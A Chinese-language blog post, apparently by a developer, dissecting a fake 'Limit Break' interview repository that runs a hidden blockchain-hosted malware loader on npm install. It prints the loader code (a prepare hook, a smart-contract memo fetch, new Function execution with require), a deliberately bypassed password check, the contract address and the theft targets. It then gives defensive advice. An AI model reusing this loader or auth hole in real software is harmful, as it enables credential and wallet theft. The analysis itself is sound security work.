一个招聘人员联系我,说 Limit Break 有一个 Web3 开发者职位。薪资不错,项目有意思,条件很全面
他们发给我一个 GitHub 仓库作为面试作业来审查。一个用 React、Express、Socket.io 和 ethers.js 构建的扑克平台
我差点就运行了
但我决定先审计代码。我发现的是一个精密的恶意软件分发系统,它将有效载荷隐藏在 Binance Smart Chain 上,在你输入 npm install 的那一刻就执行
以下是它工作原理的完整分析
布局
仓库位于 github.com/LimitBreakOrgs/bet_ver_1。乍一看完全合法。干净的文件夹结构、规范的 README、真实的依赖项、数百行游戏逻辑
bet_ver_1/├── server/ # Express backend│ ├── controllers/ # Auth, chips, users, collection│ ├── middleware/ # JWT, rate limiting, sanitization│ ├── pokergame/ # Table, Player, Deck classes│ └── socket/ # Socket.io game events├── src/ # React frontend│ ├── components/ # Poker table UI, cards, betting│ ├── context/ # State management│ └── utils/ # MetaMask wallet integration└── package.json
甚至配置了安全中间件——mongo sanitization、XSS 防护、速率限制、JWT 认证。有人花了真功夫让这看起来像一个生产级代码库
第一批危险信号
当我开始深入挖掘时,我注意到一些不对劲的地方
GitHub 组织是假的。 真正的 Limit Break 在 github.com/limitbreakinc,有 18 个仓库、Solidity 智能合约和多年的历史。"LimitBreakOrgs" 只有一个仓库,零个公开成员,两周前才创建
扑克游戏里出现了国际象棋事件。 socket 数据包文件定义了 CS_SelectPiece、CS_PerformMove、CS_PawnTransform 等事件。这些是国际象棋事件。出现在一个扑克应用中。代码明显是从多个不相关的项目中复制粘贴过来的
认证系统被故意搞坏了。 在 auth 控制器中,密码检查是硬编码的:
// server/controllers/auth.jsconst isMatch = true; // should be: await bcrypt.compare(password, user.password)
任何密码都能登录任何账户。这不是 bug——你不会不小心写出 const isMatch = true 然后跳过 bcrypt 的导入
.env 文件被提交了。 .gitignore 排除了 .env.local 但没有排除 .env 本身。文件就在仓库里,带着 API 密钥和 secrets。他们想让你觉得"哦,太好了,可以直接运行,我只需要安装一下"
陷阱:package.json
这里开始变得有意思了。看看 scripts 部分:
{"scripts": {"start": "node server/server.js | react-scripts start","prepare": "node server/server.js"}}
prepare 生命周期脚本会在 npm install 时自动运行。不是 npm start。不是 npm run build。就是 npm install
你安装依赖的那一刻,server/server.js 就会执行
有效载荷:托管在区块链上的恶意软件
server.js 看起来很正常。Express 应用、中间件、路由、Socket.io。但在启动结束时它调用了一个函数:
// server/server.jsconst { configureCollection } = require("./controllers/collection");// ... 正常的 express 配置 ...startServer(); // 在 listen 回调中:configureCollection(); // <-- 这就是触发器
以下是 configureCollection 的内容:
// server/controllers/collection.jsconst { ethers } = require("ethers");const NFT_CONTRACT_ADDRESS = process.env.NFT_CONTRACT_ADDRESS;const CONTRACT_ABI = ["function getMemo(uint256) view returns (string)"];const TX_ID = 1;const provider = new ethers.providers.JsonRpcProvider(process.env.RPC_URL);async function configureCollection() {const contract = new ethers.Contract(NFT_CONTRACT_ADDRESS, CONTRACT_ABI, provider);const memo = await contract.getMemo(TX_ID);ContentAsWeb(memo);}
它连接到 Binance Smart Chain 上地址为 0xE251b37Bac8D85984d96da55dc977A609716EBDc 的智能合约。它从交易 ID 1 读取一个 memo 字段。那个 memo 包含一个字符串
一个 JavaScript 代码字符串
然后执行它:
function ContentAsWeb(payload) {if (!payload || typeof payload !== "string") return;try {new Function(payload); // 验证它是可解析的 JS} catch (err) { return; }try {const ensureWeb = new Function("require", payload);ensureWeb(require); // 以完整的 Node.js 权限执行} catch (err) {console.error("ensureWeb error", err.message);}}
new Function("require", payload) 从区块链获取的字符串创建一个函数。然后 ensureWeb(require) 执行它——传入 Node.js 的 require,这样有效载荷就能导入它想要的任何模块
为什么这很精妙(也很可怕)
这个设计很巧妙,原因有几个:
恶意软件不在仓库中。 GitHub 的安全扫描器、npm audit 和任何静态分析工具都不会发现任何东西。实际的有效载荷存在于链上
它是可变的。 攻击者可以随时更新智能合约的 memo 字段。今天可能窃取钱包。明天可能安装键盘记录器。仓库永远不会改变
它使用 new Function() 而不是 eval()。 大多数 linter 和安全工具会标记 eval()。标记 new Function() 的要少得多,尽管它同样危险
函数名经过伪装。 configureCollection、ContentAsWeb、ensureWeb——这些听起来都像合法的工具函数。你必须仔细阅读每一行才能注意到它们实际上在做什么
它显式传递 require。 new Function() 默认无法访问模块作用域。通过将 require 作为参数传递,他们给了有效载荷完整的 Node.js 访问权限——文件系统、网络、子进程,一切
有效载荷能做什么
有了可用的 require,链上 JavaScript 可以:
require('fs')—— 读取你的 SSH 密钥、钱包文件、.env文件、浏览器配置文件require('child_process')—— 在你的机器上运行任何 shell 命令require('https')—— 将所有东西发送到攻击者的服务器require('os')—— 对你的机器进行指纹识别,找到你的 home 目录require('path')—— 导航到已知的钱包位置
这类攻击的典型目标清单:MetaMask 保险库、Phantom wallet 数据、SSH 私钥、AWS 凭证、浏览器 cookie、密码管理器数据库
更大的图景
这不是个例。这是 Contagious Interview 活动,被广泛归因于朝鲜的 Lazarus Group。他们自 2024 年以来一直在运行这类变体,已经窃取了数百万美元
套路始终相同:
- 创建虚假的公司档案或冒充真实公司
- 在 LinkedIn/Telegram 上以工作机会接触开发者
- 进行令人信服的面试流程
- 发送一个"面试作业"GitHub 仓库
- 仓库在安装或启动时运行恶意软件
- 掏空钱包、窃取凭证、安装持久性后门
他们专门针对加密货币开发者,因为加密货币开发者的开发机器上往往有加密钱包
如何保护自己
在运行任何面试编程作业之前:
- 核实公司。 检查真实的 GitHub 组织,而不只是名称。与 LinkedIn、公司网站和 Crunchbase 交叉验证
- 先读
package.json。 查看prepare、preinstall、postinstall和install脚本。如果其中任何一个运行服务器代码,那就是危险信号 - 搜索
new Function、eval、child_process和exec。 这些是常见的有效载荷执行模式 - 检查非区块链项目中的区块链调用。 一个扑克应用不需要在启动时用
ethers.js连接 BSC - 使用沙箱。 Docker 容器、虚拟机,或者至少是一个无法访问你的钱包或凭证的独立用户账户
- 检查 .gitignore。 如果
.env被提交了且包含看起来真实的密钥,他们想让你直接运行而不去思考
日常安全习惯:
- 永远不要在开发机器上保留热钱包
- 对任何大额持仓使用硬件钱包
- 保持 SSH 密钥用密码短语保护
- 不要在主机器的环境变量中存储 API 密钥
合约信息
对于正在阅读此文的安全研究人员,恶意合约位于:
- 地址:
0xE251b37Bac8D85984d96da55dc977A609716EBDc - 网络: Binance Smart Chain(RPC:
bsc-dataseed1.binance.org) - 方法:
getMemo(uint256),TX_ID 为1 - 仓库:
github.com/LimitBreakOrgs/bet_ver_1
如果你要分析这个,请在隔离环境中进行
最后的想法
我很幸运,因为我对运行别人的代码很偏执。不是每个人都这样。如果你是一个在加密领域收到工作邀请的开发者,代码审查从面试作业本身开始——而不是从里面的代码开始
注意安全
Stay Updated
Get notified about new posts on automation, productivity tips, indie hacking, and web3.
No spam, ever. Unsubscribe anytime.



